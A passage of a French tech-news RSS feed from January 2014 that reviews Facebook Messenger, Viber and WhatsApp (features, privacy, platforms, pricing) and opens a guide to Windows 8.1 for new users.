dossier de par l&amp;rsquo;ubiquit&amp;eacute; du r&amp;eacute;seau social auquel il est attach&amp;eacute;. L&amp;rsquo;importance de Facebook aujourd&amp;rsquo;hui rend l&amp;rsquo;application mobile d&amp;rsquo;autant plus efficace. Et ce n&amp;rsquo;est clairement pas la derni&amp;egrave;re mouture qui va inverser la tendance.&lt;/p&gt;
+&lt;h3&gt;Une messagerie qui &amp;eacute;tend la plateforme Facebook&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Facebook Messenger r&amp;eacute;pond actuellement &amp;agrave; une ambition pour Facebook&amp;nbsp;: devenir une messagerie universelle, m&amp;ecirc;me quand les contacts ne sont pas amis sur le r&amp;eacute;seau social. La derni&amp;egrave;re r&amp;eacute;vision de l&amp;rsquo;application mobile pour iOS et Android demande en effet le num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone pour trouver les contacts qui, dans votre r&amp;eacute;pertoire, ont &amp;eacute;galement un compte Facebook. De l&amp;agrave;, Messenger permet de leur &amp;eacute;crire directement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142971.png" alt="facebook messenger" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142969.png" alt="facebook messenger" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142970.png" alt="facebook messenger" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142974.png" alt="facebook messenger" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le gros avantage de Messenger est qu&amp;rsquo;il reprend tel quel les capacit&amp;eacute;s de messagerie de Facebook. On peut donc reprendre ses discussions l&amp;agrave; o&amp;ugrave; on les a laiss&amp;eacute;es, y compris les groupes. Depuis l&amp;rsquo;application mobile, on peut tout autant cr&amp;eacute;er des messages simples que de groupes et &amp;eacute;changer des fichiers. Comme pour les autres solutions, on retrouve l&amp;rsquo;envoi de photos et de vid&amp;eacute;os, avec en bonus des notes vocales. Le partage de contacts n&amp;rsquo;est cependant pas g&amp;eacute;r&amp;eacute; et il faudra faire attention &amp;agrave; la g&amp;eacute;olocalisation&amp;nbsp;: activ&amp;eacute;e par d&amp;eacute;faut, elle affiche toujours l&amp;rsquo;endroit d&amp;rsquo;o&amp;ugrave; vous envoyez un message &amp;agrave; moins que vous ne la d&amp;eacute;sactiviez. Enfin, comme pour la version web, les statuts de lecture sont de la partie.&lt;/p&gt;
+&lt;h3&gt;La force de l'application r&amp;eacute;side dans le nombre d'utilisateurs&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Mais pourquoi finalement utiliser Messenger plut&amp;ocirc;t que l&amp;rsquo;application Facebook elle-m&amp;ecirc;me&amp;nbsp;? La r&amp;eacute;ponse d&amp;eacute;pend de la mani&amp;egrave;re dont vous utilisez le r&amp;eacute;seau social. S&amp;rsquo;il vous sert essentiellement &amp;agrave; partager des informations, des photos et ainsi de suite, la messagerie int&amp;eacute;gr&amp;eacute;e suffira. Si vous vous y &amp;ecirc;tes inscrit surtout pour les capacit&amp;eacute;s de discussions parce que c&amp;rsquo;est &amp;laquo;&amp;nbsp;&lt;em&gt;pratique, tout le monde l&amp;rsquo;a&lt;/em&gt;&amp;nbsp;&amp;raquo;, Messenger r&amp;eacute;pondra davantage &amp;agrave; vos attentes car l&amp;rsquo;application se lance plus rapidement et va directement &amp;agrave; l&amp;rsquo;essentiel.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142972.png" alt="facebook messenger" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142973.png" alt="facebook messenger" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142975.png" alt="facebook messenger" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Messenger n&amp;rsquo;est pas pour autant &amp;eacute;pargn&amp;eacute; par les critiques. D&amp;rsquo;une part, le fait de demander le num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone permet &amp;agrave; Facebook de constituer une immense base de donn&amp;eacute;es qui n&amp;rsquo;est autre qu&amp;rsquo;un v&amp;eacute;ritable annuaire. M&amp;ecirc;me si l&amp;rsquo;information n&amp;rsquo;est pas obligatoire, elle casse d&amp;rsquo;embl&amp;eacute;e une forme d&amp;rsquo;anonymat offert par des solutions de type WhatsApp, Viber et autres car ces solutions ne s&amp;rsquo;appuient que sur le num&amp;eacute;ro pour communiquer, le reste des donn&amp;eacute;es personnelles ne jouant aucun r&amp;ocirc;le.&lt;/p&gt;
+&lt;h3&gt;Des fonctionnalit&amp;eacute;s beaucoup plus limit&amp;eacute;es que nombre de concurrents&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;D&amp;rsquo;autre part, l&amp;rsquo;interface a &amp;eacute;t&amp;eacute; revue dans la derni&amp;egrave;re version majeure de l&amp;rsquo;application (3.0) mais elle fait face &amp;agrave; un certain nombre de critiques. Trop blanche pour certains, elle met surtout les statuts de connexion des contacts au second plan, ce qui n&amp;rsquo;est pas du go&amp;ucirc;t de tout le monde. La liste principale affiche ainsi des ic&amp;ocirc;nes pour indiquer si vous parlez &amp;agrave; un contact connect&amp;eacute; sur le site web ou l&amp;rsquo;application. Cependant, vous ne pouvez pas savoir d&amp;rsquo;un coup d&amp;rsquo;&amp;oelig;il si ces contacts sont bien en ligne. Pour le savoir, il faut aller dans la rubrique &amp;laquo;&amp;nbsp;Personnes&amp;nbsp;&amp;raquo; puis dans l&amp;rsquo;onglet &amp;laquo;&amp;nbsp;Actif&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour le reste, Messenger ne fait gu&amp;egrave;re plus que ses concurrents. C&amp;rsquo;est le cas notamment des communications audio puisque l&amp;rsquo;application propose bien de pouvoir appeler ses contacts. Cependant, cette fonctionnalit&amp;eacute; ne peut s&amp;rsquo;utiliser qu&amp;rsquo;avec l&amp;rsquo;application mobile, et non avec le site. En outre, la qualit&amp;eacute; du son est plus que moyenne et nous avons remarqu&amp;eacute; &amp;agrave; travers nos tests qu&amp;rsquo;un d&amp;eacute;calage de deux &amp;agrave; trois secondes pouvait parfois se faire sentir. On est loin dans ce domaine de ce que permet Skype par exemple, mais il est vrai c&amp;rsquo;est pr&amp;eacute;cis&amp;eacute;ment le fond de commerce de ce dernier.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Globalement, Facebook Messenger ne se d&amp;eacute;tache du lot que parce que le r&amp;eacute;seau social attenant est omnipr&amp;eacute;sent, ce qui en fait une alternative int&amp;eacute;ressante. Il ne se distingue cependant pas dans une cat&amp;eacute;gorie particuli&amp;egrave;re et certains pr&amp;eacute;f&amp;egrave;reront ainsi une solution plus rapide &amp;agrave; mettre en place. En outre, la partie confidentialit&amp;eacute; est directement li&amp;eacute;e &amp;agrave; celle de Facebook. De fait, il sera impossible de supprimer le compte depuis Messenger : la proc&amp;eacute;dure devra se faire depuis le site officiel et n&amp;eacute;cessitera plusieurs mois sans la moindre connexion au service pour &amp;ecirc;tre effective.&lt;/p&gt;&lt;p&gt;Apr&amp;egrave;s WhatsApp, &lt;a href="http://www.viber.com/" target="_blank"&gt;Viber&lt;/a&gt; est une autre star des solutions de messagerie. Il s&amp;rsquo;agit d&amp;rsquo;ailleurs de l&amp;rsquo;un de ses concurrents les plus directs tant le champ fonctionnel est proche. On reste donc sur une application recevant les nouveaux messages en push, qui est moins &amp;eacute;toff&amp;eacute; du c&amp;ocirc;t&amp;eacute; des fonctionnalit&amp;eacute;s, mais qui dispose de ses propres avantages qui sont loin d&amp;rsquo;&amp;ecirc;tre n&amp;eacute;gligeables.&lt;/p&gt;
+&lt;h3&gt;Des clients synchronis&amp;eacute;s pour Windows, Linux et OS X&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Comme pour WhatsApp, Viber fonctionne aussi sur la base de votre num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone, et nous allons donc retrouver les m&amp;ecirc;mes avantages et inconv&amp;eacute;nients. Ainsi, l&amp;rsquo;application va lister automatiquement tous les contacts de votre r&amp;eacute;pertoire (il en demande l&amp;rsquo;acc&amp;egrave;s) qui l'utilisent aussi. Comme pour WhatsApp malheureusement, il sera impossible d&amp;rsquo;avoir le m&amp;ecirc;me compte sur deux appareils mobiles en m&amp;ecirc;me temps.&amp;nbsp;De plus, aucune fonctionnalit&amp;eacute; ne permet de transf&amp;eacute;rer l'historique d'un appareil &amp;agrave; un autre.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142928.png" alt="viber" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142929.png" alt="viber" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142930.png" alt="viber" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142932.png" alt="viber" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il existe cependant une diff&amp;eacute;rence qui peut s'av&amp;eacute;rer fondamentale pour certains : des clients pour Windows, Linux et OS X. Il s&amp;rsquo;agit de l&amp;rsquo;un des grands avantages de cette solution car ils permettent de continuer sur un ordinateur des discussions commenc&amp;eacute;es sur un smartphone. Si vous &amp;ecirc;tes par exemple en train de surfer sur le web, vous pourrez ainsi r&amp;eacute;pondre &amp;agrave; un message directement avec votre clavier, plut&amp;ocirc;t que de saisir le t&amp;eacute;l&amp;eacute;phone et de r&amp;eacute;pondre plus lentement avec le clavier virtuel.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142938.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142938.png" alt="viber" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142942.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142942.png" alt="viber" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces deux clients peuvent se montrer particuli&amp;egrave;rement pratiques et fonctionnent avec un syst&amp;egrave;me de v&amp;eacute;rification du compte : apr&amp;egrave;s leur installation, ils demandent un code de confirmation qui sera envoy&amp;eacute; par Viber sur votre appareil mobile. Une fois valid&amp;eacute;, ce code cr&amp;eacute;era un appairage et les discussions seront alors synchronis&amp;eacute;es. Mais attention, ce dernier point montre souvent un comportement &amp;eacute;trange. Vous ne r&amp;eacute;cup&amp;eacute;rerez pas l&amp;rsquo;int&amp;eacute;gralit&amp;eacute; de vos conversations, et ces derni&amp;egrave;res ne s&amp;rsquo;affichent parfois que partiellement, en ne laissant par exemple que les images &amp;eacute;chang&amp;eacute;es. Par contre, toutes les nouvelles conversations appara&amp;icirc;tront bien sur l'ensemble des clients connect&amp;eacute;s.&lt;/p&gt;
+&lt;h3&gt;Des conversations en retrait mais des appels gratuits&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Viber se diff&amp;eacute;rencie aussi de WhatsApp sur plusieurs points, tandis que sur d&amp;rsquo;autres, l&amp;rsquo;application rattrape seulement son &amp;laquo;&amp;nbsp;retard&amp;nbsp;&amp;raquo;. Par exemple, la r&amp;eacute;cente version majeure 4.0 permet de cr&amp;eacute;er des groupes contenant jusqu&amp;rsquo;&amp;agrave; cent contacts, contre cinquante pour WhatsApp. Les notes vocales sont &amp;eacute;galement de la partie. Cependant, en-dehors du fond d&amp;rsquo;&amp;eacute;cran que l&amp;rsquo;on peut personnaliser pour chaque conversation, Viber ne donne pas acc&amp;egrave;s &amp;agrave; de multiples r&amp;eacute;glages, notamment sur ce qui touche aux notifications personnalis&amp;eacute;es. Par ailleurs, les photos, vid&amp;eacute;os et la position g&amp;eacute;ographique peuvent &amp;ecirc;tre envoy&amp;eacute;es, mais si l&amp;rsquo;application ne g&amp;egrave;re pas l&amp;rsquo;envoi de contacts, elle permet cependant d&amp;rsquo;envoyer des &amp;laquo;&amp;nbsp;griffonnages&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142939.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142931.png" alt="viber" height="228" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142937.png" alt="viber" height="228" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142939.png" alt="viber" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Viber ne pr&amp;eacute;sente pas non plus certaines particularit&amp;eacute;s comme la diffusion d&amp;rsquo;un message &amp;agrave; tous les contacts ou la possibilit&amp;eacute; de d&amp;eacute;finir un statut. L&amp;rsquo;application affiche cependant la derni&amp;egrave;re connexion d&amp;rsquo;un contact, mais ce r&amp;eacute;glage peut &amp;ecirc;tre d&amp;eacute;sactiv&amp;eacute; dans les options. Toutefois, Viber propose une fonctionnalit&amp;eacute; importante que ne poss&amp;egrave;de pas WhatsApp&amp;nbsp;: il permet de passer des appels.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La qualit&amp;eacute; de ces derniers se fera toujours en fonction de la bande passante disponible et donc du r&amp;eacute;seau. Durant nos essais, nous avons pu constater que le niveau &amp;eacute;tait plut&amp;ocirc;t bon, mais effectivement tr&amp;egrave;s al&amp;eacute;atoire.&amp;nbsp;En Wi-Fi, la question se posera beaucoup moins. Cependant, la qualit&amp;eacute; reste en retrait face &amp;agrave; certaines solutions comme Skype et FaceTime Audio. Notez en outre que si vous passez un appel depuis un client Windows ou OS X, vous pourrez transf&amp;eacute;rer l'appel vers l'application mobile, et vice versa.&lt;/p&gt;
+&lt;h3&gt;Un financement tr&amp;egrave;s diff&amp;eacute;rent du service&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Autre diff&amp;eacute;rence avec WhatsApp&amp;nbsp;: le financement du service. Viber est dans l&amp;rsquo;absolu une application totalement gratuite. Son utilisation de base ne n&amp;eacute;cessite pas de sortir la carte bleue. Cependant, l&amp;rsquo;application peut permettre d&amp;rsquo;acheter des cr&amp;eacute;dits de communication ainsi que des Stickers qui, dans les grandes lignes, sont de grandes &amp;eacute;motic&amp;ocirc;nes. Concernant les cr&amp;eacute;dits, ils permettent tout simplement, &amp;agrave; l&amp;rsquo;instar de Skype, de t&amp;eacute;l&amp;eacute;phoner sur des lignes fixes ou mobiles classiques, pour des sommes modiques. Par exemple, appeler un t&amp;eacute;l&amp;eacute;phone aux &amp;Eacute;tats-Unis co&amp;ucirc;tera 1,7 centime la minute, vers le Japon le tarif passe &amp;agrave; 2 centimes pour les fixes et 13 centimes pour les mobiles. Autant de tarifs qui peuvent &amp;ecirc;tre consult&amp;eacute;s &lt;a href="https://account.viber.com/"&gt;depuis le site officiel&lt;/a&gt;, mais sans tableau de synth&amp;egrave;se. C&amp;rsquo;est tr&amp;egrave;s l&amp;eacute;g&amp;egrave;rement &lt;a href="http://www.skype.com/fr/rates/"&gt;moins cher que Skype&lt;/a&gt;, m&amp;ecirc;me si ce dernier propose des formules d&amp;rsquo;abonnements qui, elles, se montrent plus avantageuses.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142934.png" alt="viber" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142935.png" alt="viber" width="140" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142936.png" alt="viber" width="140" /&gt;&lt;img style="text-align: justify;" src="http://static.pcinpact.com/images/bd/news/142933.png" alt="viber" width="140" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Concernant le support des plateformes mobiles, Viber fait jeu &amp;eacute;gal avec WhatsApp. On trouve ainsi des clients pour iOS, Android, Windows Phone, BlackBerry, Nokia S40 et m&amp;ecirc;me Bada. Attention cependant en ce qui concerne BlackBerry, car seules les versions 5 et 7 du syst&amp;egrave;me sont support&amp;eacute;es. BlackBerry 10 est pour l&amp;rsquo;instant absent. Et la possibilit&amp;eacute; de supprimer votre compte&amp;nbsp;? Elle est bien pr&amp;eacute;sente, dans les param&amp;egrave;tres de l&amp;rsquo;application.&lt;/p&gt;&lt;p&gt;La premi&amp;egrave;re application dont nous allons parler est &lt;a href="http://www.whatsapp.com/?l=fr" target="_blank"&gt;WhatsApp&lt;/a&gt;. Elle est consid&amp;eacute;r&amp;eacute;e par beaucoup comme la reine des solutions de messagerie instantan&amp;eacute;e, gr&amp;acirc;ce &amp;agrave; plusieurs facteurs, dont le plus important est sans doute son nombre d&amp;rsquo;utilisateurs actifs : 300 millions d&amp;rsquo;apr&amp;egrave;s les propres chiffres fournis par l&amp;rsquo;&amp;eacute;diteur en ao&amp;ucirc;t dernier.&lt;/p&gt;
+&lt;h3&gt;Du texte, du texte et encore du texte&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;WhatsApp est une application de messagerie au sens le plus strict du terme. Toutes ses fonctionnalit&amp;eacute;s sont ax&amp;eacute;es sur un seul th&amp;egrave;me&amp;nbsp;: l&amp;rsquo;&amp;eacute;change de messages, multim&amp;eacute;dia ou non. Elle utilise votre num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone comme identifiant, ce qui a ses avantages et ses inconv&amp;eacute;nients comme nous le verrons un peu plus loin. WhatsApp &amp;eacute;tant avant tout con&amp;ccedil;u pour la simplicit&amp;eacute;, cela permet n&amp;eacute;anmoins d&amp;rsquo;afficher directement quels sont les contacts de votre r&amp;eacute;pertoire qui sont d&amp;eacute;j&amp;agrave; sur le service. Le&amp;nbsp;mot de passe, lui, est g&amp;eacute;n&amp;eacute;r&amp;eacute; depuis&amp;nbsp;&lt;a href="http://fr.wikipedia.org/wiki/International_Mobile_Equipment_Identity" target="_blank"&gt;le num&amp;eacute;ro IMEI&lt;/a&gt;&amp;nbsp;de votre appareil.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142907.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142909.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142914.png" alt="whatsapp" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour commencer une discussion WhatsApp il suffit d&amp;rsquo;aller s&amp;eacute;lectionner un contact et de lui parler. On rep&amp;egrave;re imm&amp;eacute;diatement les indicateurs en forme de &amp;laquo; &amp;radic;&amp;nbsp;&amp;raquo; verts, qui indiquent que le message a &amp;eacute;t&amp;eacute; envoy&amp;eacute; puis qu&amp;rsquo;il a bien &amp;eacute;t&amp;eacute; r&amp;eacute;ceptionn&amp;eacute; sur l&amp;rsquo;appareil du contact. Cependant, le service ne g&amp;egrave;re pas le statut qui vous pr&amp;eacute;vient qu&amp;rsquo;un message a bien &amp;eacute;t&amp;eacute; lu, contrairement &amp;agrave; d&amp;rsquo;autres tels que Viber, iMessage, Hangouts ou encore BlackBerry Messenger. Les historiques de ces conversations peuvent en outre &amp;ecirc;tre supprim&amp;eacute;s.&lt;/p&gt;
+&lt;h3&gt;Des notifications personnalis&amp;eacute;es pour chaque discussion&lt;/h3&gt;
+&lt;p&gt;Les conversations de groupes sont &amp;eacute;videmment possibles et fonctionnent sur le m&amp;ecirc;me mod&amp;egrave;le simple. On peut soit ajouter des personnes suppl&amp;eacute;mentaires dans une discussion en cours, soit cr&amp;eacute;er directement un groupe. Ce dernier pourra recevoir par ailleurs un nom particulier afin de l&amp;rsquo;identifier. Pour tous les types de conversations, il est possible d&amp;rsquo;envoyer plusieurs types de fichiers&amp;nbsp;: des images, des vid&amp;eacute;os, la position g&amp;eacute;ographique, un contact ou encore une note audio. L&amp;rsquo;application est donc relativement compl&amp;egrave;te de ce c&amp;ocirc;t&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img style="text-align: justify;" src="http://static.pcinpact.com/images/bd/news/142908.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142910.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142912.png" alt="whatsapp" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;rsquo;un des aspects int&amp;eacute;ressants de WhatsApp est qu&amp;rsquo;il offre des informations et des options pour chaque conversation. On peut choisir par exemple des notifications personnalis&amp;eacute;es pour une discussion en particulier, ou au contraire couper court &amp;agrave; tout signal sonore. On peut &amp;eacute;galement obtenir l&amp;rsquo;inventaire de tous les contenus multim&amp;eacute;dia &amp;eacute;chang&amp;eacute;s, quel que soit le nombre de personnes pr&amp;eacute;sentes dans le groupe. On peut, de mani&amp;egrave;re plus anecdotique, consulter les derni&amp;egrave;res positions g&amp;eacute;ographiques qui ont &amp;eacute;t&amp;eacute; partag&amp;eacute;es. Notez bien &amp;agrave; ce sujet que ce partage est volontaire, contrairement &amp;agrave; Facebook Messenger qui g&amp;eacute;olocalise automatiquement chaque message envoy&amp;eacute; (ce qui est tout de m&amp;ecirc;me d&amp;eacute;sactivable).&lt;/p&gt;
+&lt;h3&gt;Les limites de l'affiliation au num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;WhatsApp dispose en outre de plusieurs capacit&amp;eacute;s annexes. Sans pour autant que le service soit li&amp;eacute; &amp;agrave; un r&amp;eacute;seau social quelconque, l&amp;rsquo;utilisateur peut d&amp;eacute;finir un statut. Il peut donc s&amp;rsquo;agir de &amp;laquo;&amp;nbsp;Disponible&amp;nbsp;&amp;raquo;, comme c&amp;rsquo;est le cas par d&amp;eacute;faut, de &amp;laquo;&amp;nbsp;Occup&amp;eacute;&amp;nbsp;&amp;raquo; ou de tout autre statut puisqu&amp;rsquo;il est possible de le r&amp;eacute;diger soi-m&amp;ecirc;me. En outre, WhatsApp permet &amp;eacute;galement de diffuser rapidement un message &amp;agrave; la totalit&amp;eacute; de ses contacts. Seuls ceux qui ont WhatsApp en seront &amp;eacute;videmment inform&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142913.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142915.png" alt="whatsapp" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142916.png" alt="whatsapp" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; vie priv&amp;eacute;e et utilisation sur plusieurs appareils, on atteint les limites de l&amp;rsquo;identification par le num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone. Bien entendu la soci&amp;eacute;t&amp;eacute; d&amp;eacute;tient de nombreuses donn&amp;eacute;es personnelles, &amp;agrave; commencer par votre num&amp;eacute;ro, mais &amp;eacute;galement ceux de vos contacts. En outre, cette identification bloque toute possibilit&amp;eacute; d&amp;rsquo;avoir l&amp;rsquo;application et les m&amp;ecirc;mes conversations sur deux appareils en m&amp;ecirc;me temps. Il n&amp;rsquo;existe d&amp;rsquo;ailleurs aucune mouture pour les tablettes. Si vous devez installer WhatsApp sur un autre t&amp;eacute;l&amp;eacute;phone, le nouveau num&amp;eacute;ro cr&amp;eacute;era automatiquement un nouveau compte. Notez qu'il existe quelques solutions pour transf&amp;eacute;rer l'historique. Sur iOS, le compte iCloud synchronise l'&amp;eacute;tat de l'application et donc les donn&amp;eacute;es qui l'accompagnent. La proc&amp;eacute;dure est donc cens&amp;eacute;e &amp;ecirc;tre transparente si le m&amp;ecirc;me compte est utilis&amp;eacute;e sur le nouvel appareil. Sur Android, la fonction de sauvegarde interne &amp;agrave; l'application permet d'envoyer l'historique sur la carte SD.&lt;/p&gt;
+&lt;h3&gt;Une bonne disponibilit&amp;eacute; mobile, mais aucun client pour Windows ou OS X&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;La disponibilit&amp;eacute; de WhatsApp sur les plateformes mobiles est relativement bonne. Il est bien s&amp;ucirc;r pr&amp;eacute;sent sur Android et iOS, mais on le trouve &amp;eacute;galement sur Windows Phone 7/8, sur l&amp;rsquo;ensemble des BlackBerry, m&amp;ecirc;me sur Symbian et le syst&amp;egrave;me S40. Attention toutefois car si les moutures pour iOS et Android disposent de toutes les fonctionnalit&amp;eacute;s, la parit&amp;eacute; fonctionnelle n&amp;rsquo;est pas forc&amp;eacute;ment respect&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sur Windows Phone par exemple, les utilisateurs se plaignent r&amp;eacute;guli&amp;egrave;rement de notifications qui ne fonctionnent pas bien. Sur BlackBerry 10, la suppression de compte n&amp;rsquo;est pas encore possible car elle n&amp;rsquo;a pas &amp;eacute;t&amp;eacute; impl&amp;eacute;ment&amp;eacute;e. Attention donc si vous &amp;ecirc;tes sur une plateforme &amp;laquo;&amp;nbsp;non prioritaire&amp;nbsp;&amp;raquo;, autrement dit tout ce qui n&amp;rsquo;est pas iOS et Android. Signalons en outre que WhatsApp ne propose aucun autre client que ses applications mobiles. Ainsi, il est impossible de communiquer depuis un ordinateur ou une version web.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/142911.png" alt="whatsapp" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; confidentialit&amp;eacute;, WhatsApp dispose de quelques options simples telles que la suppression de tous les historiques, le blocage des contacts ou encore la possibilit&amp;eacute; de d&amp;eacute;sactiver l'heure de derni&amp;egrave;re apparition (ce qui sera par contre effectif pour vous et tous vos contacts). L'application propose directement la suppression du compte, ce qui est un excellent point puisque comme nous le verrons plus tard, ce n'est pas toujours le cas.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sachez enfin que WhatsApp n&amp;rsquo;est pas &amp;agrave; proprement parler gratuit, ce qui est le cas de la concurrence. Utiliser l&amp;rsquo;application la premi&amp;egrave;re ann&amp;eacute;e ne co&amp;ucirc;tera rien &amp;agrave; l&amp;rsquo;utilisateur, mais les suivantes lui demanderont de d&amp;eacute;bourser 79 centimes chacune. &amp;Eacute;videmment, il s&amp;rsquo;agit d&amp;rsquo;une somme particuli&amp;egrave;rement faible pour une ann&amp;eacute;e d&amp;rsquo;utilisation, mais certains se tourneront du coup vers des solutions gratuites.&lt;/p&gt;</description><pubDate>Wed, 22 Jan 2014 18:18:33 Z</pubDate></item><item><guid isPermaLink="false">730</guid><link>http://www.nextinpact.com/dossier/730-au-secours-jai-recu-un-pc-windows-8-1-pour-noel/1.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=tests&amp;utm_campaign=pcinpact</link><author>vince@pcinpact.com</author><title>Au secours, j'ai reçu un PC Windows 8(.1) pour Noël !</title><description>&lt;p&gt;Windows 8(.1) se d&amp;eacute;finit comme une plateforme hybride qui embarque aussi bien l&amp;rsquo;environnement classique que vous connaissez (et qui est d&amp;rsquo;ailleurs tr&amp;egrave;s proche de Windows 7) ainsi qu'une zone tactile, pens&amp;eacute;e pour la mobilit&amp;eacute; : l'&amp;eacute;cran d'accueil. Bien que les deux n&amp;rsquo;aient gu&amp;egrave;re de rapport, on peut tout &amp;agrave; fait les utiliser en compl&amp;eacute;ment l&amp;rsquo;un de l&amp;rsquo;autre.&lt;/p&gt;
+&lt;h3&gt;Au secours, mon menu D&amp;eacute;marrer a disparu !&lt;/h3&gt;
+&lt;p&gt;Il s&amp;rsquo;agit de l&amp;rsquo;une des principales critiques faites &amp;agrave; Windows 8(.1). M&amp;ecirc;me si le bouton D&amp;eacute;marrer est revenu en bas &amp;agrave; gauche de la barre des t&amp;acirc;ches dans la version la plus r&amp;eacute;cente, le menu lui-m&amp;ecirc;me est toujours absent. Et pour cause&amp;nbsp;: il est remplac&amp;eacute; par l&amp;rsquo;&amp;eacute;cran d&amp;rsquo;accueil qui fonctionne un peu comme une version g&amp;eacute;ante du pr&amp;eacute;c&amp;eacute;dent menu.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
